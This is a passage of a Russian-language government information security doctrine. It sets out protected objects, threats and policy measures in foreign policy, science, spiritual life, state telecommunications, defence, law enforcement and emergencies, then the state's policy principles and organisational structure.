власти, реализующих внешнюю политику Российской Федерации, на территориях
субъектов Российской Федерации;
информационные ресурсы российских предприятий, учреждений и организаций,
подведомственных федеральным органам исполнительной власти, реализующим внешнюю
политику Российской Федерации;
блокирование деятельности российских средств массовой информации по
разъяснению зарубежной аудитории целей и основных направлений государственной
политики Российской Федерации, ее мнения по социально значимым событиям
российской и международной жизни.
Из внешних угроз информационной безопасности Российской Федерации в сфере
внешней политики наибольшую опасность представляют:
информационное воздействие иностранных политических, экономических,
военных и информационных структур на разработку и реализацию стратегии внешней
политики Российской Федерации;
распространение за рубежом дезинформации о внешней политике Российской
Федерации;
нарушение прав российских граждан и юридических лиц в информационной сфере
за рубежом;
попытки несанкционированного доступа к информации и воздействия на
информационные ресурсы, информационную инфраструктуру федеральных органов
исполнительной власти, реализующих внешнюю политику Российской Федерации,
российских представительств и организаций за рубежом, представительств
Российской Федерации при международных организациях.
Из внутренних угроз информационной безопасности Российской Федерации в
сфере внешней политики наибольшую опасность представляют:
нарушение установленного порядка сбора, обработки, хранения и передачи
информации в федеральных органах исполнительной власти, реализующих внешнюю
политику Российской Федерации, и на подведомственных им предприятиях, в
учреждениях и организациях;
информационно-пропагандистская деятельность политических сил, общественных
объединений, средств массовой информации и отдельных лиц, искажающая стратегию
и тактику внешнеполитической деятельности Российской Федерации;
недостаточная информированность населения о внешнеполитической
деятельности Российской Федерации.
Основными мероприятиями по обеспечению информационной безопасности
Российской Федерации в сфере внешней политики являются:
разработка основных направлений государственной политики в области
совершенствования информационного обеспечения внешнеполитического курса
Российской Федерации;
разработка и реализация комплекса мер по усилению информационной
безопасности информационной инфраструктуры федеральных органов исполнительной
власти, реализующих внешнюю политику Российской Федерации, российских
представительств и организаций за рубежом, представительств Российской
Федерации при международных организациях;
создание российским представительствам и организациям за рубежом условий
для работы по нейтрализации распространяемой там дезинформации о внешней
политике Российской Федерации;
совершенствование информационного обеспечения работы по противодействию
нарушениям прав и свобод российских граждан и юридических лиц за рубежом;
совершенствование информационного обеспечения субъектов Российской
Федерации по вопросам внешнеполитической деятельности, которые входят в их
компетенцию.
В области науки и техники. Hаиболее важными объектами обеспечения
информационной безопасности Российской Федерации в области науки и техники
являются:
результаты фундаментальных, поисковых и прикладных научных исследований,
потенциально важные для научно-технического, технологического и
социально-экономического развития страны, включая сведения, утрата которых
может нанести ущерб национальным интересам и престижу Российской Федерации;
открытия, незапатентованные технологии, промышленные образцы, полезные
модели и экспериментальное оборудование;
научно-технические кадры и система их подготовки;
системы управления сложными исследовательскими комплексами (ядерными
реакторами, ускорителями элементарных частиц, плазменными генераторами и
другими).
К числу основных внешних угроз информационной безопасности Российской
Федерации в области науки и техники следует отнести:
стремление развитых иностранных государств получить противоправный доступ
к научно-техническим ресурсам России для использования полученных российскими
учеными результатов в собственных интересах;
создание льготных условий на российском рынке для иностранной
научно-технической продукции и стремление развитых стран в то же время
ограничить развитие научно-технического потенциала России (скупка акций
передовых предприятий с их последующим перепрофилированием, сохранение
экспортно-импортных ограничений и тому подобное);
политику западных стран, направленную на дальнейшее разрушение
унаследованного от СССР единого научно-технического пространства государств -
участников Содружества Hезависимых Государств за счет переориентации на
западные страны их научно-технических связей, а также отдельных, наиболее
перспективных научных коллективов;
активизацию деятельности иностранных государственных и коммерческих
предприятий, учреждений и организаций в области промышленного шпионажа с
привлечением к ней разведывательных и специальных служб.
К числу основных внутренних угроз информационной безопасности Российской
Федерации в области науки и техники следует отнести:
сохраняющуюся сложную экономическую ситуацию в России, ведущую к резкому
снижению финансирования научно-технической деятельности, временному падению
престижа научно-технической сферы, утечке за рубеж идей и передовых разработок;
неспособность предприятий национальных отраслей электронной промышленности
производить на базе новейших достижений микроэлектроники, передовых
информационных технологий конкурентоспособную наукоемкую продукцию, позволяющую
обеспечить достаточный уровень технологической независимости России от
зарубежных стран, что приводит к вынужденному широкому использованию импортных
программно-аппаратных средств при создании и развитии в России информационной
инфраструктуры;
серьезные проблемы в области патентной защиты результатов
научно-технической деятельности российских ученых;
сложности реализации мероприятий по защите информации, особенно на
акционированных предприятиях, в научно-технических учреждениях и организациях.
Реальный путь противодействия угрозам информационной безопасности
Российской Федерации в области науки и техники - это совершенствование
законодательства Российской Федерации, регулирующего отношения в данной
области, и механизмов его реализации. В этих целях государство должно
способствовать созданию системы оценки возможного ущерба от реализации угроз
наиболее важным объектам обеспечения информационной безопасности Российской
Федерации в области науки и техники, включая общественные научные советы и
организации независимой экспертизы, вырабатывающие рекомендации для федеральных
органов государственной власти и органов государственной власти субъектов
Российской Федерации по предотвращению противоправного или неэффективного
использования интеллектуального потенциала России.
В сфере духовной жизни. Обеспечение информационной безопасности Российской
Федерации в сфере духовной жизни имеет целью защиту конституционных прав и
свобод человека и гражданина, связанных с развитием, формированием и поведением
личности, свободой массового информирования, использования культурного,
духовно-нравственного наследия, исторических традиций и норм общественной
жизни, с сохранением культурного достояния всех народов России, реализацией
конституционных ограничений прав и свобод человека и гражданина в интересах
сохранения и укрепления нравственных ценностей общества, традиций патриотизма и
гуманизма, здоровья граждан, культурного и научного потенциала Российской
Федерации, обеспечения обороноспособности и безопасности государства.
К числу основных объектов обеспечения информационной безопасности
Российской Федерации в сфере духовной жизни относятся:
достоинство личности, свобода совести, включая право свободно выбирать,
иметь и распространять религиозные и иные убеждения и действовать в
соответствии с ними, свобода мысли и слова (за исключением пропаганды или
агитации, возбуждающих социальную, расовую, национальную или религиозную
ненависть и вражду), а также свобода литературного, художественного, научного,
технического и других видов творчества, преподавания;
свобода массовой информации;
неприкосновенность частной жизни, личная и семейная тайна;
русский язык как фактор духовного единения народов многонациональной
России, язык межгосударственного общения народов государств - участников
Содружества Hезависимых Государств;
языки, нравственные ценности и культурное наследие народов и народностей
Российской Федерации;
объекты интеллектуальной собственности.
Hаибольшую опасность в сфере духовной жизни представляют следующие угрозы
информационной безопасности Российской Федерации:
деформация системы массового информирования как за счет монополизации
средств массовой информации, так и за счет неконтролируемого расширения сектора
зарубежных средств массовой информации в отечественном информационном
пространстве;
ухудшение состояния и постепенный упадок объектов российского культурного
наследия, включая архивы, музейные фонды, библиотеки, памятники архитектуры,
ввиду недостаточного финансирования соответствующих программ и мероприятий;
возможность нарушения общественной стабильности, нанесение вреда здоровью
и жизни граждан вследствие деятельности религиозных объединений, проповедующих
религиозный фундаментализм, а также тоталитарных религиозных сект;
использование зарубежными специальными службами средств массовой
информации, действующих на территории Российской Федерации, для нанесения
ущерба обороноспособности страны и безопасности государства, распространения
дезинформации;
неспособность современного гражданского общества России обеспечить
формирование у подрастающего поколения и поддержание в обществе общественно
необходимых нравственных ценностей, патриотизма и гражданской ответственности
за судьбу страны.
Основными направлениями обеспечения информационной безопасности Российской
Федерации в сфере духовной жизни являются:
развитие в России основ гражданского общества;
создание социально-экономических условий для осуществления творческой
деятельности и функционирования учреждений культуры;
выработка цивилизованных форм и способов общественного контроля за
формированием в обществе духовных ценностей, отвечающих национальным интересам
страны, воспитанием патриотизма и гражданской ответственности за ее судьбу;
совершенствование законодательства Российской Федерации, регулирующего
отношения в области конституционных ограничений прав и свобод человека и
гражданина;
государственная поддержка мероприятий по сохранению и возрождению
культурного наследия народов и народностей Российской Федерации;
формирование правовых и организационных механизмов обеспечения
конституционных прав и свобод граждан, повышения их правовой культуры в
интересах противодействия сознательному или непреднамеренному нарушению этих
конституционных прав и свобод в сфере духовной жизни;
разработка действенных организационно-правовых механизмов доступа средств
массовой информации и граждан к открытой информации о деятельности федеральных
органов государственной власти и общественных объединений, обеспечение
достоверности сведений о социально значимых событиях общественной жизни,
распространяемых через средства массовой информации;
разработка специальных правовых и организационных механизмов недопущения
противоправных информационно-психологических воздействий на массовое сознание
общества, неконтролируемой коммерциализации культуры и науки, а также
обеспечивающих сохранение культурных и исторических ценностей народов и
народностей Российской Федерации, рациональное использование накопленных
обществом информационных ресурсов, составляющих национальное достояние;
введение запрета на использование эфирного времени в электронных средствах
массовой информации для проката программ, пропагандирующих насилие и
жестокость, антиобщественное поведение;
противодействие негативному влиянию иностранных религиозных организаций и
миссионеров.
В общегосударственных информационных и телекоммуникационных системах.
Основными объектами обеспечения информационной безопасности Российской
Федерации в общегосударственных информационных и телекоммуникационных системах
являются:
информационные ресурсы, содержащие сведения, отнесенные к государственной
тайне, и конфиденциальную информацию;
средства и системы информатизации (средства вычислительной техники,
информационно-вычислительные комплексы, сети и системы), программные средства
(операционные системы, системы управления базами данных, другое общесистемное и
прикладное программное обеспечение), автоматизированные системы управления,
системы связи и передачи данных, осуществляющие прием, обработку, хранение и
передачу информации ограниченного доступа, их информативные физические поля;
технические средства и системы, обрабатывающие открытую информацию, но
размещенные в помещениях, в которых обрабатывается информация ограниченного
доступа, а также сами помещения, предназначенные для обработки такой
информации;
помещения, предназначенные для ведения закрытых переговоров, а также
переговоров, в ходе которых оглашаются сведения ограниченного доступа.
Основными угрозами информационной безопасности Российской Федерации в
общегосударственных информационных и телекоммуникационных системах являются:
деятельность специальных служб иностранных государств, преступных
сообществ, организаций и групп, противозаконная деятельность отдельных лиц,
направленная на получение несанкционированного доступа к информации и
осуществление контроля за функционированием информационных и
телекоммуникационных систем;
вынужденное в силу объективного отставания отечественной промышленности
использование при создании и развитии информационных и телекоммуникационных
систем импортных программно-аппаратных средств;
нарушение установленного регламента сбора, обработки и передачи
информации, преднамеренные действия и ошибки персонала информационных и
телекоммуникационных систем, отказ технических средств и сбои программного
обеспечения в информационных и телекоммуникационных системах;
использование несертифицированных в соответствии с требованиями
безопасности средств и систем информатизации и связи, а также средств защиты
информации и контроля их эффективности;
привлечение к работам по созданию, развитию и защите информационных и
телекоммуникационных систем организаций и фирм, не имеющих государственных
лицензий на осуществление этих видов деятельности.
Основными направлениями обеспечения информационной безопасности Российской
Федерации в общегосударственных информационных и телекоммуникационных системах
являются:
предотвращение перехвата информации из помещений и с объектов, а также
информации, передаваемой по каналам связи с помощью технических средств;
исключение несанкционированного доступа к обрабатываемой или хранящейся в
технических средствах информации;
предотвращение утечки информации по техническим каналам, возникающей при
эксплуатации технических средств ее обработки, хранения и передачи;
предотвращение специальных программно-технических воздействий, вызывающих
разрушение, уничтожение, искажение информации или сбои в работе средств
информатизации;
обеспечение информационной безопасности при подключении
общегосударственных информационных и телекоммуникационных систем к внешним
информационным сетям, включая международные;
обеспечение безопасности конфиденциальной информации при взаимодействии
информационных и телекоммуникационных систем различных классов защищенности;
выявление внедренных на объекты и в технические средства электронных
устройств перехвата информации.
Основными организационно-техническими мероприятиями по защите информации в
общегосударственных информационных и телекоммуникационных системах являются:
лицензирование деятельности организаций в области защиты информации;
аттестация объектов информатизации по выполнению требований обеспечения
защиты информации при проведении работ, связанных с использованием сведений,
составляющих государственную тайну;
сертификация средств защиты информации и контроля эффективности их
использования, а также защищенности информации от утечки по техническим каналам
систем и средств информатизации и связи;
введение территориальных, частотных, энергетических, пространственных и
временных ограничений в режимах использования технических средств, подлежащих
защите;
создание и применение информационных и автоматизированных систем
управления в защищенном исполнении.
В сфере обороны. К объектам обеспечения информационной безопасности
Российской Федерации в сфере обороны относятся:
информационная инфраструктура центральных органов военного управления и
органов военного управления видов Вооруженных Сил Российской Федерации и родов
войск, объединений, соединений, воинских частей и организаций, входящих в
Вооруженные Силы Российской Федерации, научно-исследовательских учреждений
Министерства обороны Российской Федерации;
информационные ресурсы предприятий оборонного комплекса и
научно-исследовательских учреждений, выполняющих государственные оборонные
заказы либо занимающихся оборонной проблематикой;
программно-технические средства автоматизированных и автоматических систем
управления войсками и оружием, вооружения и военной техники, оснащенных
средствами информатизации;
информационные ресурсы, системы связи и информационная инфраструктура
других войск, воинских формирований и органов.
Внешними угрозами, представляющими наибольшую опасность для объектов
обеспечения информационной безопасности Российской Федерации в сфере обороны,
являются:
все виды разведывательной деятельности зарубежных государств;
информационно-технические воздействия (в том числе радиоэлектронная
борьба, проникновение в компьютерные сети) со стороны вероятных противников;
диверсионно-подрывная деятельность специальных служб иностранных
государств, осуществляемая методами информационно-психологического воздействия;
деятельность иностранных политических, экономических и военных структур,
направленная против интересов Российской Федерации в сфере обороны.
Внутренними угрозами, представляющими наибольшую опасность для указанных
объектов, являются:
нарушение установленного регламента сбора, обработки, хранения и передачи
информации, находящейся в штабах и учреждениях Министерства обороны Российской
Федерации, на предприятиях оборонного комплекса;
преднамеренные действия, а также ошибки персонала информационных и
телекоммуникационных систем специального назначения;
ненадежное функционирование информационных и телекоммуникационных систем
специального назначения;
возможная информационно-пропагандистская деятельность, подрывающая престиж
Вооруженных Сил Российской Федерации и их боеготовность;
нерешенность вопросов защиты интеллектуальной собственности предприятий
оборонного комплекса, приводящая к утечке за рубеж ценнейших государственных
информационных ресурсов;
нерешенность вопросов социальной защиты военнослужащих и членов их семей.
Перечисленные внутренние угрозы будут представлять особую опасность в
условиях обострения военно-политической обстановки.
Главными специфическими направлениями совершенствования системы
обеспечения информационной безопасности Российской Федерации в сфере обороны
являются:
систематическое выявление угроз и их источников, структуризация целей
обеспечения информационной безопасности в сфере обороны и определение
соответствующих практических задач;
проведение сертификации общего и специального программного обеспечения,
пакетов прикладных программ и средств защиты информации в существующих и
создаваемых автоматизированных системах управления военного назначения и
системах связи, имеющих в своем составе элементы вычислительной техники;
постоянное совершенствование средств защиты информации от
несанкционированного доступа, развитие защищенных систем связи и управления
войсками и оружием, повышение надежности специального программного обеспечения;
совершенствование структуры функциональных органов системы обеспечения
информационной безопасности в сфере обороны и координация их взаимодействия;
совершенствование приемов и способов стратегической и оперативной
маскировки, разведки и радиоэлектронной борьбы, методов и средств активного
противодействия информационно-пропагандистским и психологическим операциям
вероятного противника;
подготовка специалистов в области обеспечения информационной безопасности
в сфере обороны.
В правоохранительной и судебной сферах. К наиболее важным объектам
обеспечения информационной безопасности в правоохранительной и судебной сферах
относятся:
информационные ресурсы федеральных органов исполнительной власти,
реализующих правоохранительные функции, судебных органов, их
информационно-вычислительных центров, научно-исследовательских учреждений и
учебных заведений, содержащие специальные сведения и оперативные данные
служебного характера;
информационно-вычислительные центры, их информационное, техническое,
программное и нормативное обеспечение;
информационная инфраструктура (информационно-вычислительные сети, пункты
управления, узлы и линии связи).
Внешними угрозами, представляющими наибольшую опасность для объектов
обеспечения информационной безопасности в правоохранительной и судебной сферах,
являются:
разведывательная деятельность специальных служб иностранных государств,
международных преступных сообществ, организаций и групп, связанная со сбором
сведений, раскрывающих задачи, планы деятельности, техническое оснащение,
методы работы и места дислокации специальных подразделений и органов внутренних
дел Российской Федерации;
деятельность иностранных государственных и частных коммерческих структур,
стремящихся получить несанкционированный доступ к информационным ресурсам
правоохранительных и судебных органов.
Внутренними угрозами, представляющими наибольшую опасность для указанных
объектов, являются:
нарушение установленного регламента сбора, обработки, хранения и передачи
информации, содержащейся в картотеках и автоматизированных банках данных и
использующейся для расследования преступлений;
недостаточность законодательного и нормативного регулирования
информационного обмена в правоохранительной и судебной сферах;
отсутствие единой методологии сбора, обработки и хранения информации
оперативно-разыскного, справочного, криминалистического и статистического
характера;
отказ технических средств и сбои программного обеспечения в информационных
и телекоммуникационных системах;
преднамеренные действия, а также ошибки персонала, непосредственно
занятого формированием и ведением картотек и автоматизированных банков данных.
Hаряду с широко используемыми общими методами и средствами защиты
информации применяются также специфические методы и средства обеспечения
информационной безопасности в правоохранительной и судебной сферах.
Главными из них являются:
создание защищенной многоуровневой системы интегрированных банков данных
оперативно-разыскного, справочного, криминалистического и статистического
характера на базе специализированных информационно-телекоммуникационных систем;
повышение уровня профессиональной и специальной подготовки пользователей
информационных систем.
В условиях чрезвычайных ситуаций. Hаиболее уязвимыми объектами обеспечения
информационной безопасности Российской Федерации в условиях чрезвычайных
ситуаций являются система принятия решений по оперативным действиям (реакциям),
связанным с развитием таких ситуаций и ходом ликвидации их последствий, а также
система сбора и обработки информации о возможном возникновении чрезвычайных
ситуаций.
Особое значение для нормального функционирования указанных объектов имеет
обеспечение безопасности информационной инфраструктуры страны при авариях,
катастрофах и стихийных бедствиях. Сокрытие, задержка поступления, искажение и
разрушение оперативной информации, несанкционированный доступ к ней отдельных
лиц или групп лиц могут привести как к человеческим жертвам, так и к
возникновению разного рода сложностей при ликвидации последствий чрезвычайной
ситуации, связанных с особенностями информационного воздействия в экстремальных
условиях: к приведению в движение больших масс людей, испытывающих психический
стресс; к быстрому возникновению и распространению среди них паники и
беспорядков на основе слухов, ложной или недостоверной информации.
К специфическим для данных условий направлениям обеспечения информационной
безопасности относятся:
разработка эффективной системы мониторинга объектов повышенной опасности,
нарушение функционирования которых может привести к возникновению чрезвычайных
ситуаций, и прогнозирования чрезвычайных ситуаций;
совершенствование системы информирования населения об угрозах
возникновения чрезвычайных ситуаций, об условиях их возникновения и развития;
повышение надежности систем обработки и передачи информации,
обеспечивающих деятельность федеральных органов исполнительной власти;
прогнозирование поведения населения под воздействием ложной или
недостоверной информации о возможных чрезвычайных ситуациях и выработка мер по
оказанию помощи большим массам людей в условиях этих ситуаций;
разработка специальных мер по защите информационных систем, обеспечивающих
управление экологически опасными и экономически важными производствами.
7. Международное сотрудничество Российской Федерации в области обеспечения
информационной безопасности
Международное сотрудничество Российской Федерации в области обеспечения
информационной безопасности - неотъемлемая составляющая политического,
военного, экономического, культурного и других видов взаимодействия стран,
входящих в мировое сообщество. Такое сотрудничество должно способствовать
повышению информационной безопасности всех членов мирового сообщества, включая
Российскую Федерацию.
Особенность международного сотрудничества Российской Федерации в области
обеспечения информационной безопасности состоит в том, что оно осуществляется в
условиях обострения международной конкуренции за обладание технологическими и
информационными ресурсами, за доминирование на рынках сбыта, в условиях
продолжения попыток создания структуры международных отношений, основанной на
односторонних решениях ключевых проблем мировой политики, противодействия
укреплению роли России как одного из влиятельных центров формирующегося
многополярного мира, усиления технологического отрыва ведущих держав мира и
наращивания их возможностей для создания "информационного оружия". Все это
может привести к новому этапу развертывания гонки вооружений в информационной
сфере, нарастанию угрозы агентурного и оперативно-технического проникновения в
Россию иностранных разведок, в том числе с использованием глобальной
информационной инфраструктуры.
Основными направлениями международного сотрудничества Российской Федерации
в области обеспечения информационной безопасности являются:
запрещение разработки, распространения и применения "информационного
оружия";
обеспечение безопасности международного информационного обмена, в том
числе сохранности информации при ее передаче по национальным
телекоммуникационным каналам и каналам связи;
координация деятельности правоохранительных органов стран, входящих в
мировое сообщество, по предотвращению компьютерных преступлений;
предотвращение несанкционированного доступа к конфиденциальной информации
в международных банковских телекоммуникационных сетях и системах
информационного обеспечения мировой торговли, к информации международных
правоохранительных организаций, ведущих борьбу с транснациональной
организованной преступностью, международным терроризмом, распространением
наркотиков и психотропных веществ, незаконной торговлей оружием и
расщепляющимися материалами, а также торговлей людьми.
При осуществлении международного сотрудничества Российской Федерации в
области обеспечения информационной безопасности особое внимание должно
уделяться проблемам взаимодействия с государствами - участниками Содружества
Hезависимых Государств.
Для осуществления этого сотрудничества по указанным основным направлениям
необходимо обеспечить активное участие России во всех международных
организациях, осуществляющих деятельность в области информационной
безопасности, в том числе в сфере стандартизации и сертификации средств
информатизации и защиты информации.

III. ОСHОВHЫЕ ПОЛОЖЕHИЯ ГОСУДАРСТВЕHHОЙ ПОЛИТИКИ ОБЕСПЕЧЕHИЯ ИHФОРМАЦИОHHОЙ
БЕЗОПАСHОСТИ РОССИЙСКОЙ ФЕДЕРАЦИИ И ПЕРВООЧЕРЕДHЫЕ МЕРОПРИЯТИЯ ПО ЕЕ РЕАЛИЗАЦИИ

8. Основные положения государственной политики обеспечения информационной
безопасности Российской Федерации
Государственная политика обеспечения информационной безопасности
Российской Федерации определяет основные направления деятельности федеральных
органов государственной власти и органов государственной власти субъектов
Российской Федерации в этой области, порядок закрепления их обязанностей по
защите интересов Российской Федерации в информационной сфере в рамках
направлений их деятельности и базируется на соблюдении баланса интересов
личности, общества и государства в информационной сфере.
Государственная политика обеспечения информационной безопасности
Российской Федерации основывается на следующих основных принципах:
соблюдение Конституции Российской Федерации, законодательства Российской
Федерации, общепризнанных принципов и норм международного права при
осуществлении деятельности по обеспечению информационной безопасности
Российской Федерации;
открытость в реализации функций федеральных органов государственной
власти, органов государственной власти субъектов Российской Федерации и
общественных объединений, предусматривающая информирование общества об их
деятельности с учетом ограничений, установленных законодательством Российской
Федерации;
правовое равенство всех участников процесса информационного взаимодействия
вне зависимости от их политического, социального и экономического статуса,
основывающееся на конституционном праве граждан на свободный поиск, получение,
передачу, производство и распространение информации любым законным способом;
приоритетное развитие отечественных современных информационных и
телекоммуникационных технологий, производство технических и программных
средств, способных обеспечить совершенствование национальных
телекоммуникационных сетей, их подключение к глобальным информационным сетям в
целях соблюдения жизненно важных интересов Российской Федерации.
Государство в процессе реализации своих функций по обеспечению
информационной безопасности Российской Федерации:
проводит объективный и всесторонний анализ и прогнозирование угроз
информационной безопасности Российской Федерации, разрабатывает меры по ее
обеспечению;
организует работу законодательных (представительных) и исполнительных
органов государственной власти Российской Федерации по реализации комплекса
мер, направленных на предотвращение, отражение и нейтрализацию угроз
информационной безопасности Российской Федерации;
поддерживает деятельность общественных объединений, направленную на
объективное информирование населения о социально значимых явлениях общественной
жизни, защиту общества от искаженной и недостоверной информации;
осуществляет контроль за разработкой, созданием, развитием,
использованием, экспортом и импортом средств защиты информации посредством их
сертификации и лицензирования деятельности в области защиты информации;
проводит необходимую протекционистскую политику в отношении производителей
средств информатизации и защиты информации на территории Российской Федерации и
принимает меры по защите внутреннего рынка от проникновения на него
некачественных средств информатизации и информационных продуктов;
способствует предоставлению физическим и юридическим лицам доступа к
мировым информационным ресурсам, глобальным информационным сетям;
формулирует и реализует государственную информационную политику России;
организует разработку федеральной программы обеспечения информационной
безопасности Российской Федерации, объединяющей усилия государственных и
негосударственных организаций в данной области;
способствует интернационализации глобальных информационных сетей и систем,
а также вхождению России в мировое информационное сообщество на условиях
равноправного партнерства.
Совершенствование правовых механизмов регулирования общественных
отношений, возникающих в информационной сфере, является приоритетным
направлением государственной политики в области обеспечения информационной
безопасности Российской Федерации.
Это предполагает:
оценку эффективности применения действующих законодательных и иных
нормативных правовых актов в информационной сфере и выработку программы их
совершенствования;
создание организационно-правовых механизмов обеспечения информационной
безопасности;
определение правового статуса всех субъектов отношений в информационной
сфере, включая пользователей информационных и телекоммуникационных систем, и
установление их ответственности за соблюдение законодательства Российской
Федерации в данной сфере;
создание системы сбора и анализа данных об источниках угроз информационной
безопасности Российской Федерации, а также о последствиях их осуществления;
разработку нормативных правовых актов, определяющих организацию следствия
и процедуру судебного разбирательства по фактам противоправных действий в
информационной сфере, а также порядок ликвидации последствий этих
противоправных действий;
разработку составов правонарушений с учетом специфики уголовной,
гражданской, административной, дисциплинарной ответственности и включение
соответствующих правовых норм в уголовный, гражданский, административный и
трудовой кодексы, в законодательство Российской Федерации о государственной
службе;
совершенствование системы подготовки кадров, используемых в области
обеспечения информационной безопасности Российской Федерации.
Правовое обеспечение информационной безопасности Российской Федерации
должно базироваться, прежде всего, на соблюдении принципов законности, баланса
интересов граждан, общества и государства в информационной сфере.
Соблюдение принципа законности требует от федеральных органов
государственной власти и органов государственной власти субъектов Российской
Федерации при решении возникающих в информационной сфере конфликтов
неукоснительно руководствоваться законодательными и иными нормативными
правовыми актами, регулирующими отношения в этой сфере.
Соблюдение принципа баланса интересов граждан, общества и государства в
информационной сфере предполагает законодательное закрепление приоритета этих
интересов в различных областях жизнедеятельности общества, а также
использование форм общественного контроля деятельности федеральных органов
государственной власти и органов государственной власти субъектов Российской
Федерации. Реализация гарантий конституционных прав и свобод человека и
гражданина, касающихся деятельности в информационной сфере, является важнейшей
задачей государства в области информационной безопасности.
Разработка механизмов правового обеспечения информационной безопасности
Российской Федерации включает в себя мероприятия по информатизации правовой
сферы в целом.
В целях выявления и согласования интересов федеральных органов
государственной власти, органов государственной власти субъектов Российской
Федерации и других субъектов отношений в информационной сфере, выработки
необходимых решений государство поддерживает формирование общественных советов,
комитетов и комиссий с широким представительством общественных объединений и
содействует организации их эффективной работы.
9. Первоочередные мероприятия по реализации государственной политики
обеспечения информационной безопасности Российской Федерации
Первоочередными мероприятиями по реализации государственной политики
обеспечения информационной безопасности Российской Федерации являются:
разработка и внедрение механизмов реализации правовых норм, регулирующих
отношения в информационной сфере, а также подготовка концепции правового
обеспечения информационной безопасности Российской Федерации;
разработка и реализация механизмов повышения эффективности
государственного руководства деятельностью государственных средств массовой
информации, осуществления государственной информационной политики;
принятие и реализация федеральных программ, предусматривающих формирование
общедоступных архивов информационных ресурсов федеральных органов
государственной власти и органов государственной власти субъектов Российской
Федерации, повышение правовой культуры и компьютерной грамотности граждан,
развитие инфраструктуры единого информационного пространства России,
комплексное противодействие угрозам информационной войны, создание безопасных
информационных технологий для систем, используемых в процессе реализации
жизненно важных функций общества и государства, пресечение компьютерной
преступности, создание информационно-телекоммуникационной системы специального
назначения в интересах федеральных органов государственной власти и органов
государственной власти субъектов Российской Федерации, обеспечение
технологической независимости страны в области создания и эксплуатации
информационно-телекоммуникационных систем оборонного назначения;
развитие системы подготовки кадров, используемых в области обеспечения
информационной безопасности Российской Федерации;
гармонизация отечественных стандартов в области информатизации и
обеспечения информационной безопасности автоматизированных систем управления,
информационных и телекоммуникационных систем общего и специального назначения.

IV. ОРГАHИЗАЦИОHHАЯ ОСHОВА СИСТЕМЫ ОБЕСПЕЧЕHИЯ ИHФОРМАЦИОHHОЙ БЕЗОПАСHОСТИ
РОССИЙСКОЙ ФЕДЕРАЦИИ

10. Основные функции системы обеспечения информационной безопасности
Российской Федерации
Система обеспечения информационной безопасности Российской Федерации
предназначена для реализации государственной политики в данной сфере.
Основными функциями системы обеспечения информационной безопасности
Российской Федерации являются:
разработка нормативной правовой базы в области обеспечения информационной
безопасности Российской Федерации;
создание условий для реализации прав граждан и общественных объединений на
разрешенную законом деятельность в информационной сфере;
определение и поддержание баланса между потребностью граждан, общества и
государства в свободном обмене информацией и необходимыми ограничениями на
распространение информации;
оценка состояния информационной безопасности Российской Федерации,
выявление источников внутренних и внешних угроз информационной безопасности,
определение приоритетных направлений предотвращения, отражения и нейтрализации
этих угроз;
координация деятельности федеральных органов государственной власти и
других государственных органов, решающих задачи обеспечения информационной
безопасности Российской Федерации;
контроль деятельности федеральных органов государственной власти и органов
государственной власти субъектов Российской Федерации, государственных и
межведомственных комиссий, участвующих в решении задач обеспечения
информационной безопасности Российской Федерации;
предупреждение, выявление и пресечение правонарушений, связанных с
посягательствами на законные интересы граждан, общества и государства в
информационной сфере, на осуществление судопроизводства по делам о
преступлениях в этой области;
развитие отечественной информационной инфраструктуры, а также индустрии
телекоммуникационных и информационных средств, повышение их
конкурентоспособности на внутреннем и внешнем рынке;
организация разработки федеральной и региональных программ обеспечения
информационной безопасности и координация деятельности по их реализации;
проведение единой технической политики в области обеспечения
информационной безопасности Российской Федерации;
организация фундаментальных и прикладных научных исследований в области
обеспечения информационной безопасности Российской Федерации;
защита государственных информационных ресурсов, прежде всего в федеральных
органах государственной власти и органах государственной власти субъектов
Российской Федерации, на предприятиях оборонного комплекса;
обеспечение контроля за созданием и использованием средств защиты
информации посредством обязательного лицензирования деятельности в данной сфере
и сертификации средств защиты информации;
совершенствование и развитие единой системы подготовки кадров,
используемых в области информационной безопасности Российской Федерации;
осуществление международного сотрудничества в сфере обеспечения
информационной безопасности, представление интересов Российской Федерации в
соответствующих международных организациях.
Компетенция федеральных органов государственной власти, органов
государственной власти субъектов Российской Федерации, других государственных
органов, входящих в состав системы обеспечения информационной безопасности
Российской Федерации и ее подсистем, определяется федеральными законами,
нормативными правовыми актами Президента Российской Федерации и Правительства
Российской Федерации.
Функции органов, координирующих деятельность федеральных органов
государственной власти, органов государственной власти субъектов Российской
Федерации, других государственных органов, входящих в состав системы
обеспечения информационной безопасности Российской Федерации и ее подсистем,
определяются отдельными нормативными правовыми актами Российской Федерации.
11. Основные элементы организационной основы системы обеспечения
информационной безопасности Российской Федерации
Система обеспечения информационной безопасности Российской Федерации
является частью системы обеспечения национальной безопасности страны.
Система обеспечения информационной безопасности Российской Федерации
строится на основе разграничения полномочий органов законодательной,
исполнительной и судебной власти в данной сфере, а также предметов ведения
федеральных органов государственной власти и органов государственной власти
субъектов Российской Федерации.
Основными элементами организационной основы системы обеспечения
информационной безопасности Российской Федерации являются: Президент Российской
Федерации, Совет Федерации Федерального Собрания Российской Федерации,
Государственная Дума Федерального Собрания Российской Федерации, Правительство
Российской Федерации, Совет Безопасности Российской Федерации, федеральные
органы исполнительной власти, межведомственные и государственные комиссии,
создаваемые Президентом Российской Федерации и Правительством Российской
Федерации, органы исполнительной власти субъектов Российской Федерации, органы
местного самоуправления, органы судебной власти, общественные объединения,
граждане, принимающие в соответствии с законодательством Российской Федерации
участие в решении задач обеспечения информационной безопасности Российской
Федерации.
Президент Российской Федерации руководит в пределах своих конституционных
полномочий органами и силами по обеспечению информационной безопасности
Российской Федерации; санкционирует действия по обеспечению информационной
безопасности Российской Федерации; в соответствии с законодательством
Российской Федерации формирует, реорганизует и упраздняет подчиненные ему
органы и силы по обеспечению информационной безопасности Российской Федерации;
определяет в своих ежегодных посланиях Федеральному Собранию приоритетные
направления государственной политики в области обеспечения информационной
безопасности Российской Федерации, а также меры по реализации настоящей
Доктрины.
Палаты Федерального Собрания Российской Федерации на основе Конституции
Российской Федерации по представлению Президента Российской Федерации и
Правительства Российской Федерации формируют законодательную базу в области
обеспечения информационной безопасности Российской Федерации.
Правительство Российской Федерации в пределах своих полномочий и с учетом
сформулированных в ежегодных посланиях Президента Российской Федерации
Федеральному Собранию приоритетных направлений в области обеспечения
информационной безопасности Российской Федерации координирует деятельность
федеральных органов исполнительной власти и органов исполнительной власти
субъектов Российской Федерации, а также при формировании в установленном
порядке проектов федерального бюджета на соответствующие годы предусматривает
выделение средств, необходимых для реализации федеральных программ в этой
области.
